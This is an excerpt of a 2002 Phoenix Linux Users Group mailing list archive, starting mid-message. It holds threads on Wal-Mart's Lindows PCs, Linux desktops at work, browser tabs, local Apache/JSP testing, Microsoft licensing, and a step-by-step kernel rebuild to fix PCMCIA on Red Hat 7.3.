fee every year? no > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:19:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 15:19:53 -0700 (MST) Subject: InstallFest In-Reply-To: Message-ID: On Mon, 17 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I also have a machine with a TV Tuner that I am bringing to the > InstallFest, it's currently running Win2k. I'd be interested to know > what software you use to view the Capture from your TV card? Are > there any alternatives? What options does it support (recording, > scheduling, etc...) > Welll... I only use my tv card just to watch the programs. I use a simple TV viewer program called TVSet. I also have a another program that displays the Closed Caption text as it comes out from the channel I'm watching in a terminal window. Doing all this on my Black Thunder box running Gentoo dist system and the 2.4.18 kernel that I just installed this past weekend. Just wondering but what tv card you got? Me I got a Hauppauge TV card "WinTV" I belive it's called. jzc From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:42:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Mon, 17 Jun 2002 14:42:31 -0700 Subject: linux at work Message-ID: <200206172234.g5HMYo226440@PlugList.MyButt.Net> This is more of a report that either a question or an answer. Fairly long. I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years off and on, but this is new for me as at home I can do what ever I want and at work, I have tasks assigned to me that must get done in a timley manner in the way the "boss" wants. I am pleased to report that linux has met the challange and in fact in some ways is easier and more versitile than the other OS I've been forced to use. I have to have word processing and spread sheet available, for which I am using open office 1.0. I am using Opera for a browser, but I think I will change to Mozilla. Konquerer doesn't seem to work on one of out internal sites. One problem with opera though is that I have several groups of tasks. Each group requires several programs, including at times 3 or 4 browser windows. I can use virtual desktops to segregate the task groupings, which has worked out well, but opera presents a problem as all the opera windows are opening in the same window. If I used Mozilla, could I open a Mozilla session in a virtual window and then keeping that session there, open 1 or more sessions in another window? Enough rambling for now. If there is any interest I'll keep up the reports of using linux as a desktop in the workplace. Charlie From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:37:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:37:49 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> <003401c21646$af01d590$0301010a@tickticker.com> Message-ID: <010301c21647$3a70b830$6501a8c0@drghastly> It's based on Debian. ----- Original Message ----- From: "tickticker" To: Sent: Monday, June 17, 2002 2:33 PM Subject: Re: Lindows > it is running linux. it just has a c/ drive buried in the directory > structure. It's either based on suse or debian (i think, i could look it up > again if anyone is interested. > > Anthony > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 2:15 PM > Subject: RE: Lindows > > > > Also check out slashdot. They have links to how to get Linux running on > these machines. > > > > Larry > > > > -----Original Message----- > > From: Matt Alexander [mailto:m@netpro.to] > > Sent: Monday, June 17, 2002 1:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Lindows > > > > > > Yup. Only $299. > > > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > > > Hey folks, > > > Just wondering if anyone has heard anything about Lindows? Just read on > > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > > Ray > > > malbojia@qwest.net > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:21:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 15:21:10 -0700 (PDT) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: Sweet! Keep it up! Your next task, should you choose to accept it, is to convert your coworker's desktops to Linux. I'll expect a monthly report on your progress. ;-) ~M On Mon, 17 Jun 2002, charlie bullen wrote: > This is more of a report that either a question or an answer. Fairly long. > > I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde > 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years > off and on, but this is new for me as at home I can do what ever I want and > at work, I have tasks assigned to me that must get done in a timley manner in > the way the "boss" wants. I am pleased to report that linux has met the > challange and in fact in some ways is easier and more versitile than the > other OS I've been forced to use. > > I have to have word processing and spread sheet available, for which I am > using open office 1.0. I am using Opera for a browser, but I think I will > change to Mozilla. Konquerer doesn't seem to work on one of out internal > sites. > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? > > Enough rambling for now. If there is any interest I'll keep up the reports of > using linux as a desktop in the workplace. > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:35:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Brian Cluff) Date: 17 Jun 2002 15:35:07 -0700 Subject: PLUG is famous! In-Reply-To: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> Message-ID: <1024353307.22680.51.camel@fone.snaptek.com> Actually the slashdot effect has been fairly mild on the servers. I'm guessing that the reason other people "feel" it so much is they have a rather server intense page to begin with, either via massive database hits, or with a ton of little images all over the page (thumbnails)...etc etc For the most part, the little plug mailing list server is serving up a text only page that is for the most part static. Even then we only seem to be taking about 1 hit a second. I would think that a 386 could dish that out off a floppy with no problems. Brian Cluff Team Snaptek On Mon, 2002-06-17 at 10:59, Joel Dudley wrote: > Can the servers withstand the slashdot effect? batten down the zombie > processes, release the squid cache! Man I'm a dork. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:52:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 15:52:58 -0700 Subject: Building an RPM References: Message-ID: <3D0E684A.8BF8CADD@qwest.net> Never saw a response to this. To the best of my knowledge, Maximum RPM is still a pretty good guide to building rpms. > Do any of you have a recommended reference for building an RPM file? I have > the book "Maximum RPM" but it is dated 1997 and I suspect that there may be > some new information somewhere out there Any suggestions? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:55:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Mon, 17 Jun 2002 18:55:33 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> <002b01c21646$7abaf5f0$0301010a@tickticker.com> Message-ID: <3D0E9315.70102@cox.net> It's not in the physical WalMart stores. It's only available through WalMart.com. Probably one of the few products WalMart carries not assembled by Chinese nearly-slave labor. http://www.alternet.org/print.html?StoryID=12962 tickticker wrote: > I don't believe it's in stores but it is orderable. get yours now in one to > 2 months! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:06:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 16:06:49 -0700 Subject: Lindows Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B745@azmscorp01.corp.azms> Yes. I should have said links to running other distributions on the walmart value pc. I am interested to find out what Windows based software will and will not run on Lindows. It looks like most versions of Office run. Larry -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Monday, June 17, 2002 2:34 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Lindows it is running linux. it just has a c/ drive buried in the directory structure. It's either based on suse or debian (i think, i could look it up again if anyone is interested. Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:10:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Mon, 17 Jun 2002 16:10:31 -0700 (PDT) Subject: Apache, JSP and Jakarta setup question Message-ID: <20020617231031.6235.qmail@web10605.mail.yahoo.com> Hello Linux Users: 1. I wanted to play around (test develop and teach myself) some Java Servlets Programming **Locally Without** having to configure Apache and Linux to work as a Network server. Is this possible? 2. Can Apache serve .html pages and .jsp pages to a local computer even if it is not configured to be on the network? My idea is to use the computer's loopback address to emulate a 'network' setting for Apache, my computer and the browswer. Is this possible? 3. If not possible, am i stuck to learn Samba and need a 'true' client/server environment with a server and a workstation to develop .jsp pages? I plan to use Apache, Jakarta Tomcat and MySQL for testing and learning. I'm currently using Redhat 7.2 and KDE as a desktop environment. Thanks in advance.... BTW - any DeVry guys out there? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 16:12:36 -0700 Subject: Need Help with Redhat 7.3 Install References: <20020617164510.JUSY3097.lakemtao02.cox.net@smtp.east.cox.net> Message-ID: <3D0E6CE4.F303E6CA@qwest.net> I gave Mark a call this morning, but thought I'd send this out to the list since several people have had this issue with RH7.3 and PCMCIA support on laptops. To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm package from the system. rpm -e kernel-pcmcia-cs Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from kernel.org wget ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz wget http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz cd /usr/src tar -xvzf ~/linux-2.4.18.tar.gz rpm -ivh ~/kernel-2.4.18.src.rpm cd /usr/src/redhat/SOURCES cp kernel-config- /usr/src/linux/.config Alter the config of the kernel: cd /usr/src/linux make menuconfig Remove PCMCIA Support General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support hit n to remove it, then exit config and save the changes make dep && make clean && make bzImage && make modules && make modules_install Wait for it to finish. On my P150 this took most of the night to do. cd /usr/src/linux/arch/i386/boot cp bzImage /boot/vmlinuz-2.4.18 Assuming you are using grub, edit /etc/grub.conf Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo Easy way to edit both is to copy the config that is currently booting and rename kernel it is loading. Reboot the system and select the recently compiled kernel. Now rebuild PCMCIA support. cd /usr/src tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz cd pcmcia-cs-3.1.34 make config && make all && make install You should be able to accept the defaults during make config. Once done test by starting it up. /etc/rc.d/init.d/pcmcia start Hope this helps. > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > Thanks! > > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:14:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 16:14:20 -0700 Subject: Apache, JSP and Jakarta setup question References: <20020617231031.6235.qmail@web10605.mail.yahoo.com> Message-ID: <3D0E6D4C.40FD894C@qwest.net> > 1. I wanted to play around (test develop and teach > myself) > some Java Servlets Programming **Locally Without** > having to configure Apache > and Linux to work as a Network server. Is this > possible? Yes, have it listen on the loopback address/device and just call it with http://127.0.0.1/ > 2. Can Apache serve .html pages and .jsp pages to a > local computer even if it is not > configured to be on the network? My idea is to use > the computer's loopback address > to emulate a 'network' setting for Apache, my > computer and the browswer. Is this > possible? Same as above. > 3. If not possible, am i stuck to learn Samba and need > a 'true' client/server environment > with a server and a workstation to develop .jsp > pages? > > I plan to use Apache, Jakarta Tomcat and MySQL for > testing and learning. > I'm currently using Redhat 7.2 and KDE as a desktop > environment. > > Thanks in advance.... > > BTW - any DeVry guys out there? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:28:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Mon, 17 Jun 2002 16:28:53 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> Message-ID: <3D0E70B5.6050608@asu.edu> After a long day, including working on a dual-boot machine, my explanation to my wife of what I had done during the day included the word "Winux" which only added to the confusion. I got a chuckle out of it, but you had to be there, I'm sure. --rod bob smith wrote: > --- Raymond Cantwell wrote: > >>Hey folks, >>Just wondering if anyone has heard anything about >>Lindows? Just read on >>cnet that Wal-Mart is selling Micron PCs with it >>pre-installed. >>Ray >>malbojia@qwest.net > > > I was looking at the Lindows site and it didn't seem > like it was officially out yet. I see a sneak preview > version but this can't be what Walmart is bundling is > it? Do you also have to pay the $99 dollar Lindows > subscription fee every year? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:56:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 17 Jun 2002 16:56:32 -0700 (MST) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: Am 17. Jun, 2002 schwätzte charlie bullen so: > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? I think mozilla can do tabs. Galeon definitely can. Each 'browser window' then is a virtual window within the browser. It's an excellent feature. Konqueror needs it. ciao, der.hans -- # https://www.LuftHans.com/ # I chose to use the kernel sources as my documentation. ;-) # -- Kevin Buettner From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:21:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:21:28 -0400 Subject: PLUG on Slashdot References: <009e01c2162f$07cb6780$6501a8c0@drghastly> Message-ID: <3D0E7D08.BB25F7F2@georgetoft.com> I sincerely believe the retraining costs for switching to Sun StarOffice from Microsoft office would amount to 1 hour per person. Computer Based Training (CBT) can be created as a reference for under $40,000. The cost savings by switching (about $140 per PC per year) would recoup the training expenses in less than a year. Most companies will embark on a venture if they can recoup their investment in 2-5 years. That should make this a no-brainer. I am not advocating replacing Windows with Linux (yet), just the Office Productivity software. As I understand it, if a company buys a PC with Windows installed, the license is still perpetual, not the three-year renewing kind (am I wrong?). That being the case, running Windows still makes sense for now. Office, on the other hand, does not. George "Dr.G" wrote: > > As some comments from /. have been said, all they have to do is go through a > M$ recognized vendor ( hence..3rd party) to use the same type of software. > Also, considering that the COP and Maricopa County are the largest employers > for the state of AZ, I highly doubt they want to go through the retraining > fees it would cost to retrain all those people to use the new software. Your > talking about a LOT of $$, $$ that is coming out of my pocket as a taxpayer, > and more importantly, the other 3.9 million+ taxpayers who (Read: people > over 60's usually) will vote that down if neccessary, or complain enough > that it will probably not go through.. So I'm on the fence with that one. It > should be one step at a time. > > ----- Original Message ----- > From: "Tom Emerson" > To: > Sent: Monday, June 17, 2002 11:31 AM > Subject: Re: PLUG on Slashdot > > > Perhaps the Arizona Center for Law in the Public Interest would have > > something to say about enforcement of current policy and law? > > > > http://www.aclpi.org/ > > > > They have a bit of a reputation fighting for enforcement of ignored > laws... > > > > ---------------------------- > > > > On Mon, 17 Jun 2002, Matt Alexander wrote: > > > > I just noticed on Slashdot this morning that we're featured in regards to > > the Maricopa County thread: > > > > http://slashdot.org > > > > ________________________________________________ > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 17:18:36 -0700 Subject: linux at work In-Reply-To: References: Message-ID: <200206171718.40191.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 04:56 pm, der.hans wrote: > It's an excellent feature. Konqueror needs it. Konqueror not only needs it, but it has it. Unfortunately, this feature only exists in CVS, but it is slated for 3.1. PS: Last time I checked, you could right-click and add a new tab for that link, or you could add one in the "Window" menu, but it did not automatically open new windows tabbed. This feature will be there, and possibly is, by now. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DnxepNoctRtUIRQRAhAxAJ90gXG0i1Rrfbj52+90valg6uKOKwCeJvwO 5v5KDLBd8s/aI0bPgo47XlE= =kDcc -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:19:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:19:11 -0400 Subject: Walmart selling Linux PC's Message-ID: <3D0E7C7F.D78030DF@georgetoft.com> They ship with Lindows, and start at $299. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:31:49 -0400 Subject: Apache, JSP and Jakarta setup question References: <20020617231031.6235.qmail@web10605.mail.yahoo.com> <3D0E6D4C.40FD894C@qwest.net> Message-ID: <3D0E7F75.A31781E8@georgetoft.com> Kevin Brown wrote: > > > 1. I wanted to play around (test develop and teach > > myself) > > some Java Servlets Programming **Locally Without** > > having to configure Apache > > and Linux to work as a Network server. Is this > > possible? > > Yes, have it listen on the loopback address/device and just call it with > http://127.0.0.1/ > > > 2. Can Apache serve .html pages and .jsp pages to a > > local computer even if it is not > > configured to be on the network? My idea is to use > > the computer's loopback address > > to emulate a 'network' setting for Apache, my > > computer and the browswer. Is this > > possible? > > Same as above. > > > 3. If not possible, am i stuck to learn Samba and need > > a 'true' client/server environment > > with a server and a workstation to develop .jsp > > pages? > > > > I plan to use Apache, Jakarta Tomcat and MySQL for > > testing and learning. > > I'm currently using Redhat 7.2 and KDE as a desktop > > environment. > > > > Thanks in advance.... > > > > BTW - any DeVry guys out there? > ________________________________________________ I started out doing this on my current workstation, and discovered (a few months later) that this was a mistake. My circumstances may be abnormal, but I ended up having to change over to 192.168.55.1 from 127.0.0.1. (For those that do not recognize the 55 in the above IP - it's VMWare's vmnet1 address.) I needed the ability to surf my development website from the localhost as well as the VMWare sessions I created. By using the 127.0.0.1 address, the VMWare machines could not access the website. Needless to say, returning a DNS answer of 127.0.0.1 for georgetoft.test REALLY did not work well at all for the vmware sessions. But for now, 127.0.0.1 is probably good enough. George From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:50:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Tue, 18 Jun 2002 00:50:09 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <00db01c21644$fccf81c0$6501a8c0@drghastly> Message-ID: On Mon, 17 Jun 2002, Dr.G wrote: > Not when it is OEM I believe. Sorry, you are wrong. All software sold my Microsoft is subject to a License Agreement, which legally is a contract. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:23:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 18:23:07 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF16B745@azmscorp01.corp.azms> Message-ID: <001901c21666$b387c550$0301010a@tickticker.com> it's on the site somewhere Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 4:06 PM Subject: RE: Lindows > Yes. I should have said links to running other distributions on the walmart value pc. > > I am interested to find out what Windows based software will and will not run on Lindows. It looks like most versions of Office run. > > Larry > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Monday, June 17, 2002 2:34 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > it is running linux. it just has a c/ drive buried in the directory > structure. It's either based on suse or debian (i think, i could look it up > again if anyone is interested. > > Anthony > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 2:15 PM > Subject: RE: Lindows > > > > Also check out slashdot. They have links to how to get Linux running on > these machines. > > > > Larry > > > > -----Original Message----- > > From: Matt Alexander [mailto:m@netpro.to] > > Sent: Monday, June 17, 2002 1:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Lindows > > > > > > Yup. Only $299. > > > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > > > Hey folks, > > > Just wondering if anyone has heard anything about Lindows? Just read on > > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > > Ray > > > malbojia@qwest.net > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:49:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 18:49:33 -0700 (MST) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: On Mon, 17 Jun 2002, charlie bullen wrote: > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? > Welll... mozilla 1.0 has something called tabbed windows, windows within the window. Look under Edit menu then Perfs then Navigator. You will see a line called "Tabbed Browsing". jzc From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:09:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 19:09:36 -0700 (MST) Subject: InstallFest In-Reply-To: Message-ID: On Mon, 17 Jun 2002, jon@unfm00.com wrote: > You mean you don't have a DVD drive in your box? > Hell man.. I got DVD drives in both of my running systems and they both can play DVDs using Xine! :) Want to see them in action, BE at the fest! :) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:02:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 19:02:40 -0700 Subject: PLUG on Slashdot In-Reply-To: References: Message-ID: <200206171902.45457.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 05:50 pm, C. Sullivan wrote: > On Mon, 17 Jun 2002, Dr.G wrote: > > Not when it is OEM I believe. > > Sorry, you are wrong. All software sold my Microsoft is subject to a > License Agreement, which legally is a contract. Correct me if I am wrong, but doesn't the vendor agree to the OEM license? If I go buy a laptop with Windows XP today, I won't see a license agreement when I turn the system on. On the other hand, I have a feeling that the laptop will come with little slips of paper with the EULA on there. I might not see them, but that is because I never made a reasonable attempt to read the paperwork. It would be a reasonably weak argument in court to claim I was never informed of the agreement. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 